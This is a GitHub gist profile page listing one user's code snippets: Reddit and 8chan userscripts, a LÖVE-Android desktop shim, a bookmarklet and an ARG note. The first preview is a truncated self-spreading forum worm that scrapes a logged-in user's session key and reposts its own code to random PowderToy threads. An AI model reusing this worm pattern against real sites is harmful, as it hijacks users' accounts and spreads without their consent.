Skip to content

Instantly share code, notes, and snippets.

View nucular's full-sized avatar

nucular nucular

View GitHub Profile
@nucular
nucular / virus.js
Last active August 29, 2015 14:13
Self-spreading virus for the PowderToy forums (while the exploit wasn't fixed yet)
// Public Domain, whatever
(function kek(){$.getJSON("http://powdertoy.co.uk/Discussions/Categories/Index.json", function(data) {
var thread = data.Topics[Math.floor(Math.random() * data.Topics.length)].ID;
var code = kek.toString();
var key = $(".main-menu .dropdown a[href^=\"/Logout.html\"]").attr("href");
if (key) {
key = key.substring(key.length - 10);
var link = "http://powdertoy.co.uk/Discussions/Thread/Reply.json?Mode=HTML&Key=" + key;
var data = {
// ==UserScript==
// @name Powder Toy Undelete Removed Comments
// @version 1.0.1
// @description Undeletes comments that have been removed, using a weird data leak.
// @author boxmein
// @namespace http://boxmein.net
// @run-at document-end
// @match http://powdertoy.co.uk/Discussions/Thread/*
// ==/UserScript==
@nucular
nucular / lads.lua
Last active August 29, 2015 14:16
LÖVE-Android on Desktop Shim for debugging/testing android games on a desktop environment
--[[
LÖVE-Android on Desktop Shim
============================
for debugging/testing android games on a desktop environment
Features
--------
- Two touchscreen behaviours ("single" and "multi")
- Touchpoint overlay (disables love.mouse.setVisible for convenience)
- Keyboard wrapper, keybinds for menu/back/return/search/textinput
@nucular
nucular / forcecatalog.user.js
Created March 7, 2015 18:21
8chan: Foce Catalog on board index
// ==UserScript==
// @name 8chan Force Catalog
// @namespace http://nucular.github.io
// @version 0.1
// @description Redirects to the catalog on 8chan boards
// @include /^https?:\/\/8ch\.net\/\w+\/?$/
// @copyright 2015+, nucular
// @run-at document-start
// ==/UserScript==
@nucular
nucular / tubealien.user.js
Created March 18, 2015 17:12
TubeAlien - Replaces Reddit comments on videos with YouTube comments!
// ==UserScript==
// @name TubeAlien for Reddit
// @namespace http://nucular.github.io
// @version 0.1
// @description TubeAlien is an userscript that replaces Reddit comments on videos with YouTube comments!
// @include /https?\:\/\/(www\.)?reddit.com\/r\/[^\/]+\/comments\/\w+\/\w+/
// @copyright 2015+, nucular
// ==/UserScript==
$(function() {
@nucular
nucular / cleanreload.js
Created March 27, 2015 19:28
Clean Reload Bookmarklet
// This nify little bookmarklet clears the cookies, localStorage and the cache before reloading the current page.
// Make a bookmark and paste this line as the URL (note the javascript: replacing the http://)
// Cookie clearing oneliner from http://stackoverflow.com/a/27374365/2405983
javascript:(function(){ document.cookie.split(";").forEach(function(c) document.cookie=c.replace(/^ +/,"").replace(/=.*/,"=;expires="+new Date().toUTCString()+";path=/");}); for(i in window.localStorage){if (window.localStorage.hasOwnProperty(i)){delete window.localStorage[i];}} window.location.reload(true)})()
@nucular
nucular / redditstyles.user.js
Last active January 28, 2018 04:24
reddit themes for the common folk: use the stylesheet of a subreddit everywhere
// ==UserScript==
// @name reddit styles
// @namespace http://nucular.github.io
// @version 0.6.1
// @description reddit themes for the common folk
// @copyright 2015, nucular
// @license MIT License
// @include http://www.reddit.com/*
// @include https://www.reddit.com/*
// @run-at document-start
@nucular
nucular / rainmeter-nhk.md
Last active June 25, 2016 18:13
Rainmeter: Welcome To The N.H.K Theme
@nucular
nucular / everget.user.js
Last active November 5, 2017 12:42
everget - Simple GET script for 8chan
// ==UserScript==
// @name everget
// @namespace http://nucular.github.io
// @version 0.1.1
// @description Simple GET script for 8chan
// @match *://8ch.net/*/*
// @copyright 2015+, nucular
// @license MIT License
// ==/UserScript==
@nucular
nucular / arg.md
Last active May 25, 2021 12:38
Steins;Gate ARG

Steins;Gate ARG

The email address from which Okabe received the static video (sg-epk@jtk93.x29.jp) replies to blank mails with the following message:

Your mail concerning "[the subject of your email]"

sg-epk@jtk93.x29.jp はこの世界線に存在していません. [It does not exist in this world line.]